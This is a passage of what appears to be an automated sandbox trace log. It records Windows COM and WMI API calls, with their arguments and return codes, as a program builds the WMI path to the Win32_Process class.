Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7e498 | out: ppv=0x1bb7e498*=0x1a943398) returned 0x0 [0132.308] IComThreadingInfo:GetCurrentApartmentType (in: This=0x1a943398, pAptType=0x1bb7e488 | out: pAptType=0x1bb7e488*=1) returned 0x0 [0132.308] IUnknown:QueryInterface (in: This=0x1a943398, riid=0x276df40*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1bb7e490 | out: ppvObject=0x1bb7e490*=0x0) returned 0x80004002 [0132.308] IUnknown:Release (This=0x1a943398) returned 0x1 [0132.310] CoGetClassObject (in: rclsid=0x1a9a7298*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef11595c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7d8b0 | out: ppv=0x1bb7d8b0*=0x1bbf10c0) returned 0x0 [0132.310] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bbf10c0, riid=0x7fef117e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1bb7d8f8 | out: ppvObject=0x1bb7d8f8*=0x0) returned 0x80004002 [0132.310] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1bbf10c0, pUnkOuter=0x0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d8a8 | out: ppvObject=0x1bb7d8a8*=0x1bbbffa0) returned 0x0 [0132.310] WbemDefPath:IUnknown:Release (This=0x1bbf10c0) returned 0x0 [0132.310] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bbbffa0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d6b8 | out: ppvObject=0x1bb7d6b8*=0x1bbbffa0) returned 0x0 [0132.310] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bbbffa0, riid=0x7fef1136968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1bb7d760 | out: ppvObject=0x1bb7d760*=0x0) returned 0x80004002 [0132.310] WbemDefPath:IUnknown:AddRef (This=0x1bbbffa0) returned 0x3 [0132.310] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bbbffa0, riid=0x7fef1136978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1bb7ce08 | out: ppvObject=0x1bb7ce08*=0x0) returned 0x80004002 [0132.311] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bbbffa0, riid=0x7fef1136988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1bb7cd90 | out: ppvObject=0x1bb7cd90*=0x0) returned 0x80004002 [0132.311] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bbbffa0, riid=0x7fef1135de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7cd80 | out: ppvObject=0x1bb7cd80*=0x1bbf1100) returned 0x0 [0132.311] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1bbf1100, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1bb7cda8 | out: pCid=0x1bb7cda8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0132.311] WbemDefPath:IUnknown:Release (This=0x1bbf1100) returned 0x3 [0132.311] CoGetContextToken (in: pToken=0x1bb7ce30 | out: pToken=0x1bb7ce30) returned 0x0 [0132.311] CoGetContextToken (in: pToken=0x1bb7d2b0 | out: pToken=0x1bb7d2b0) returned 0x0 [0132.311] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bbbffa0, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d370 | out: ppvObject=0x1bb7d370*=0x0) returned 0x80004002 [0132.311] WbemDefPath:IUnknown:Release (This=0x1bbbffa0) returned 0x2 [0132.311] WbemDefPath:IUnknown:Release (This=0x1bbbffa0) returned 0x1 [0132.311] CoGetContextToken (in: pToken=0x1bb7e0d0 | out: pToken=0x1bb7e0d0) returned 0x0 [0132.311] CoGetContextToken (in: pToken=0x1bb7dfd0 | out: pToken=0x1bb7dfd0) returned 0x0 [0132.311] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bbbffa0, riid=0x1bb7e130*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1bb7e100 | out: ppvObject=0x1bb7e100*=0x1bbbffa0) returned 0x0 [0132.311] WbemDefPath:IUnknown:AddRef (This=0x1bbbffa0) returned 0x3 [0132.318] WbemDefPath:IUnknown:Release (This=0x1bbbffa0) returned 0x2 [0132.318] WbemDefPath:IWbemPath:SetText (This=0x1bbbffa0, uMode=0x4, pszPath="ROOT\\CIMV2") returned 0x0 [0132.318] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bbbfee0, puCount=0x1bb7e540 | out: puCount=0x1bb7e540*=0x0) returned 0x0 [0132.318] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bbbffa0, puCount=0x1bb7e540 | out: puCount=0x1bb7e540*=0x2) returned 0x0 [0132.318] WbemDefPath:IWbemPath:GetText (in: This=0x1bbbffa0, lFlags=16, puBuffLength=0x1bb7e538*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e538*=0xb, pszText=0x0) returned 0x0 [0132.318] WbemDefPath:IWbemPath:GetText (in: This=0x1bbbffa0, lFlags=16, puBuffLength=0x1bb7e538*=0xb, pszText="0000000000" | out: puBuffLength=0x1bb7e538*=0xb, pszText="ROOT\\CIMV2") returned 0x0 [0132.318] WbemDefPath:IWbemPath:RemoveAllNamespaces (This=0x1bbbfee0) returned 0x0 [0132.319] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bbbffa0, puCount=0x1bb7e5a0 | out: puCount=0x1bb7e5a0*=0x2) returned 0x0 [0132.319] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1bbbffa0, uIndex=0x0, puNameBufLength=0x1bb7e598*=0x0, pName=0x0 | out: puNameBufLength=0x1bb7e598*=0x5, pName=0x0) returned 0x0 [0132.319] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1bbbffa0, uIndex=0x0, puNameBufLength=0x1bb7e598*=0x5, pName="0000" | out: puNameBufLength=0x1bb7e598*=0x5, pName="ROOT") returned 0x0 [0132.319] WbemDefPath:IWbemPath:SetNamespaceAt (This=0x1bbbfee0, uIndex=0x0, pszName="ROOT") returned 0x0 [0132.319] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1bbbffa0, uIndex=0x1, puNameBufLength=0x1bb7e598*=0x0, pName=0x0 | out: puNameBufLength=0x1bb7e598*=0x6, pName=0x0) returned 0x0 [0132.319] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1bbbffa0, uIndex=0x1, puNameBufLength=0x1bb7e598*=0x6, pName="00000" | out: puNameBufLength=0x1bb7e598*=0x6, pName="CIMV2") returned 0x0 [0132.319] WbemDefPath:IWbemPath:SetNamespaceAt (This=0x1bbbfee0, uIndex=0x1, pszName="CIMV2") returned 0x0 [0132.319] WbemDefPath:IWbemPath:GetClassName (in: This=0x1bbbfee0, puBuffLength=0x1bb7e5d8*=0x0, pszName=0x0 | out: puBuffLength=0x1bb7e5d8*=0x0, pszName=0x0) returned 0x8004103a [0132.319] WbemDefPath:IWbemPath:SetClassName (This=0x1bbbfee0, Name="Win32_Process") returned 0x0 [0132.319] WbemDefPath:IWbemPath:GetInfo (in: This=0x1bbbfee0, uRequestedInfo=0x0, puResponse=0x1bb7e6b8 | out: puResponse=0x1bb7e6b8*=0x20c16) returned 0x0 [0132.319] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bbbfee0, puCount=0x1bb7e610 | out: puCount=0x1bb7e610*=0x2) returned 0x0 [0132.319] WbemDefPath:IWbemPath:GetText (in: This=0x1bbbfee0, lFlags=4, puBuffLength=0x1bb7e608*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e608*=0x26, pszText=0x0) returned 0x0 [0132.319] WbemDefPath:IWbemPath:GetText (in: This=0x1bbbfee0, lFlags=4, puBuffLength=0x1bb7e608*=0x26, pszText="0000000000000000000000000000000000000" | out: puBuffLength=0x1bb7e608*=0x26, pszText="\\\\Q9IATRKPRH\\ROOT\\CIMV2:Win32_Process") returned 0x0 [0132.319] WbemDefPath:IWbemPath:GetInfo (in: This=0x1bbbfee0, uRequestedInfo=0x0, puResponse=0x1bb7e628 | out: puResponse=0x1bb7e628*=0x20c16) returned 0x0 [0132.319] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bbbfee0, puCount=0x1bb7e610 | out: puCount=0x1bb7e610*=0x2) returned 0x0 [0132.319] WbemDefPath:IWbemPath:GetText (in: This=0x1bbbfee0, lFlags=8, puBuffLength=0x1bb7e608*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e608*=0x18, pszText=0x0) returned 0x0 [0132.319] WbemDefPath:IWbemPath:GetText (in: This=0x1bbbfee0, lFlags=8, puBuffLength=0x1bb7e608*=0x18, pszText="00000000000000000000000" | out: puBuffLength=0x1bb7e608*=0x18, pszText="\\\\Q9IATRKPRH\\ROOT\\CIMV2") returned 0x0 [0132.319] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bbbfca0, puCount=0x1bb7e610 | out: puCount=0x1bb7e610*=0x2) returned 0x0 [0132.319] WbemDefPath:IWbemPath:GetText (in: This=0x1bbbfca0, lFlags=16, puBuffLength=0x1bb7e608*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e608*=0xb, pszText=0x0) returned 0x0 [0132.320] WbemDefPath:IWbemPath:GetText (in: This=0x1bbbfca0, lFlags=16, puBuffLength=0x1bb7e608*=0xb, pszText="0000000000" | out: puBuffLength=0x1bb7e608*=0xb, pszText="root\\cimv2") returned 0x0 [0132.320] WbemDefPath:IWbemPath:GetText (in: This=0x1bbbfee0, lFlags=2, puBuffLength=0x1bb7e618*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e618*=0xe, pszText=0x0) returned 0x0 [0132.320] WbemDefPath:IWbemPath:GetText (in: This=0x1bbbfee0, lFlags=2, puBuffLength=0x1bb7e618*=0xe, pszText="0000000000000" | out: puBuffLength=0x1bb7e618*=0xe, pszText="Win32_Process") returned 0x0 [0132.320] CoGetObjectContext (in: riid=0x276df60*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7e568 | out: ppv=0x1bb7e568*=0x1a943398) returned 0x0 [0132.320] IComThreadingInfo:GetCurrentApartmentType (in: This=0x1a943398, pAptType=0x1bb7e558 | out: pAptType=0x1bb7e558*=1) returned 0x0 [0132.320] IUnknown:QueryInterface (in: This=0x1a943398, riid=0x276df40*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1bb7e560 | out: ppvObject=0x1bb7e560*=0x0) returned 0x80004002 [0132.320] IUnknown:Release (This=0x1a943398) returned 0x1 [0132.322] CoGetClassObject (in: rclsid=0x1a9a7298*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef11595c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7d980 | out: ppv=0x1bb7d980*=0x1bbf1360) returned 0x0 [0132.322] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bbf1360, riid=0x7fef117e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1bb7d9c8 | out: ppvObject=0x1bb7d9c8*=0x0) returned 0x80004002 [0132.322] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1bbf1360, pUnkOuter=0x0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d978 | out: ppvObject=0x1bb7d978*=0x1bbc0060) returned 0x0 [0132.322] WbemDefPath:IUnknown:Release (This=0x1bbf1360) returned 0x0 [0132.322] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bbc0060, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d788 | out: ppvObject=0x1bb7d788*=0x1bbc0060) returned 0x0 [0132.323] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bbc0060, riid=0x7fef1136968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1bb7d830 | out: ppvObject=0x1bb7d830*=0x0) returned 0x80004002 [0132.323] WbemDefPath:IUnknown:AddRef (This=0x1bbc0060) returned 0x3 [0132.323] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bbc0060, riid=0x7fef1136978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1bb7ced8 | out: ppvObject=0x1bb7ced8*=0x0) returned 0x80004002 [0132.323] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bbc0060, riid=0x7fef1136988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1bb7ce60 | out: ppvObject=0x1bb7ce60*=0x0) returned 0x80004002 [0132.323] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bbc0060, riid=0x7fef1135de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7ce50 | out: ppvObject=0x1bb7ce50*=0x1bbf13a0) returned 0x0 [0132.323] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1bbf13a0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1bb7ce78 | out: pCid=0x1bb7ce78*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0132.323] WbemDefPath:IUnknown:Release (This=0x1bbf13a0) returned 0x3 [0132.323] CoGetContextToken (in: pToken=0x1bb7cf00 | out: pToken=0x1bb7cf00) returned 0x0 [0132.323] CoGetContextToken (in: pToken=0x1bb7d380 | out: pToken=0x1bb7d380) returned 0x0 [0132.323] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bbc0060, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d440 | out: ppvObject=0x1bb7d440*=0x0) returned 0x80004002 [0132.323] WbemDefPath:IUnknown:Release (This=0x1bbc0060) returned 0x2 [0132.323] WbemDefPath:IUnknown:Release (This=0x1bbc0060) returned 0x1 [0132.324] CoGetContextToken (in: pToken=0x1bb7e1a0 | out: pToken=0x1bb7e1a0) returned 0x0 [0132.324] CoGetContextToken (in: pToken=0x1bb7e0a0 | out: pToken=0x1bb7e0a0) returned 0x0 [0132.324] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bbc0060, riid=0x1bb7e200*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1bb7e1d0 | out: ppvObject=0x1bb7e1d0*=0x1bbc0060) returned 0x0 [0132.324] WbemDefPath:IUnknown:AddRef (This=0x1bbc0060) returned 0x3 [0132.324] WbemDefPath:IUnknown:Release (This=0x1bbc0060) returned 0x2 [0132.324] WbemDefPath:IWbemPath:SetText (This=0x1bbc0060, uMode=0x4, pszPath="Win32_Process") returned 0x0 [0132.324] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bbbfca0, puCount=0x1bb7e610 | out: puCount=0x1bb7e610*=0x2) returned 0x0 [0132.324] WbemDefPath:IWbemPath:GetText (in: This=0x1bbbfca0, lFlags=8, puBuffLength=0x1bb7e608*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e608*=0xf, pszText=0x0) returned 0x0 [0132.324] WbemDefPath:IWbemPath:GetText (in: This=0x1bbbfca0, lFlags=8, puBuffLength=0x1bb7e608*=0xf, pszText="00000000000000" | out: puBuffLength=0x1bb7e608*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0132.324] CoGetObjectContext (in: riid=0x276df60*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7e498 | out: ppv=0x1bb7e498*=0x1a943398) returned 0x0 [0132.324] IComThreadingInfo:GetCurrentApartmentType (in: This=0x1a943398, pAptType=0x1bb7e488 | out: pAptType=0x1bb7e488*=1) returned 0x0 [0132.324] IUnknown:QueryInterface (in: This=0x1a943398, riid=0x276df40*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1bb7e490 | out: ppvObject=0x1bb7e490*=0x0) returned 0x80004002 [0132.324] IUnknown:Release (This=0x1a943398) returned 0x1 [0132.326] CoGetClassObject (in: rclsid=0x1a9a7298*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef11595c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7d8b0 | out: ppv=0x1bb7d8b0*=0x1bbf13e0) returned 0x0 [0132.326] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bbf13e0, riid=0x7fef117e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1bb7d8f8 | out: ppvObject=0x1bb7d8f8*=0x0) returned 0x80004002 [0132.326] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1bbf13e0, pUnkOuter=0x0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d8a8 | out: ppvObject=0x1bb7d8a8*=0x1bbc0120) returned 0x0 [0132.326] WbemDefPath:IUnknown:Release (This=0x1bbf13e0) returned 0x0 [0132.326] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bbc0120, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d6b8 | out: ppvObject=0x1bb7d6b8*=0x1bbc0120) returned 0x0 [0132.327] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bbc0120, riid=0x7fef1136968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1bb7d760 | out: ppvObject=0x1bb7d760*=0x0) returned 0x80004002 [0132.327] WbemDefPath:IUnknown:AddRef (This=0x1bbc0120) returned 0x3 [0132.327] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bbc0120, riid=0x7fef1136978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1bb7ce08 | out: ppvObject=0x1bb7ce08*=0x0) returned 0x80004002 [0132.327] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bbc0120, riid=0x7fef1136988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1bb7cd90 | out: ppvObject=0x1bb7cd90*=0x0) returned 0x80004002 [0132.327] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bbc0120, riid=0x7fef1135de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7cd80 | out: ppvObject=0x1bb7cd80*=0x1bbf1420) returned 0x0 [0132.327] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1bbf1420, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1bb7cda8 | out: pCid=0x1bb7cda8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0132.327] WbemDefPath:IUnknown:Release (This=0x1bbf1420) returned 0x3 [0132.327] CoGetContextToken (in: pToken=0x1bb7ce30 | out: pToken=0x1bb7ce30) returned 0x0 [0132.328] CoGetContextToken (in: pToken=0x1bb7d2b0 | out: pToken=0x1bb7d2b0) returned 0x0 [0132.328] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bbc0120, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d370 | out: ppvObject=0x1bb7d370*=0x0) returned 0x80004002 [0132.328] WbemDefPath:IUnknown:Release (This=0x1bbc0120) returned 0x2 [0132.328] WbemDefPath:IUnknown:Release (This=0x1bbc0120) returned 0x1 [0132.328] CoGetContextToken (in: pToken=0x1bb7e0d0 | out: pToken=0x1bb7e0d0) returned 0x0 [0132.328] CoGetContextToken (in: pToken=0x1bb7dfd0 | out: pToken=0x1bb7dfd0) returned 0x0 [0132.328] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bbc0120, riid=0x1bb7e130*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1bb7e100 | out: ppvObject=0x1bb7e100*=0x1bbc0120) returned 0x0 [0132.328] WbemDefPath:IUnknown:AddRef (This=0x1bbc0120) returned 0x3 [0132.328] WbemDefPath:IUnknown:Release (This=0x1bbc0120) returned 0x2 [0132.328] WbemDefPath:IWbemPath:SetText (This=0x1bbc0120, uMode=0x4, pszPath="\\\\.\\root\\cimv2") returned 0x0 [0132.328] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bbc0060, puCount=0x1bb7e540 | out: puCount=0x1bb7e540*=0x0) returned 0x0 [0132.328] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bbc0120, puCount=0x1bb7e540 | out: puCount=0x1bb7e540*=0x2) returned 0x0 [0132.328] WbemDefPath:IWbemPath:GetText (in: This=0x1bbc0120, lFlags=16, puBuffLength=0x1bb7e538*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e538*=0xb, pszText=0x0) returned 0x0 [0132.328] WbemDefPath:IWbemPath:GetText (in: This=0x1bbc0120, lFlags=16, puBuffLength=0x1bb7e538*=0xb, pszText="0000000000" | out: puBuffLength=0x1bb7e538*=0xb, pszText="root\\cimv2") returned 0x0 [0132.328] WbemDefPath:IWbemPath:RemoveAllNamespaces (This=0x1bbc0060) returned 0x0 [0132.328] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bbc0120, puCount=0x1bb7e5a0 | out: puCount=0x1bb7e5a0*=0x2) returned 0x0 [0132.328] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1bbc0120, uIndex=0x0, puNameBufLength=0x1bb7e598*=0x0, pName=0x0 | out: puNameBufLength=0x1bb7e598*=0x5, pName=0x0) returned 0x0 [0132.329] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1bbc0120, uIndex=0x0, puNameBufLength=0x1bb7e598*=0x5, pName="0000" | out: puNameBufLength=0x1bb7e598*=0x5, pName="root") returned 0x0 [0132.329] WbemDefPath:IWbemPath:SetNamespaceAt (This=0x1bbc0060, uIndex=0x0, pszName="root") returned 0x0 [0132.329] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1bbc0120, uIndex=0x1, puNameBufLength=0x1bb7e598*=0x0, pName=0x0 | out: puNameBufLength=0x1bb7e598*=0x6, pName=0x0) returned 0x0 [0132.329] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1bbc0120, uIndex=0x1, puNameBufLength=0x1bb7e598*=0x6, pName="00000" | out: puNameBufLength=0x1bb7e598*=0x6, pName="cimv2") returned 0x0 [0132.329] WbemDefPath:IWbemPath:SetNamespaceAt (This=0x1bbc0060, uIndex=0x1, pszName="cimv2") returned 0x0 [0132.329] WbemDefPath:IWbemPath:GetServer (in: This=0x1bbc0120, puNameBufLength=0x1bb7e590*=0x0, pName=0x0 | out: puNameBufLength=0x1bb7e590*=0x2, pName=0x0) returned 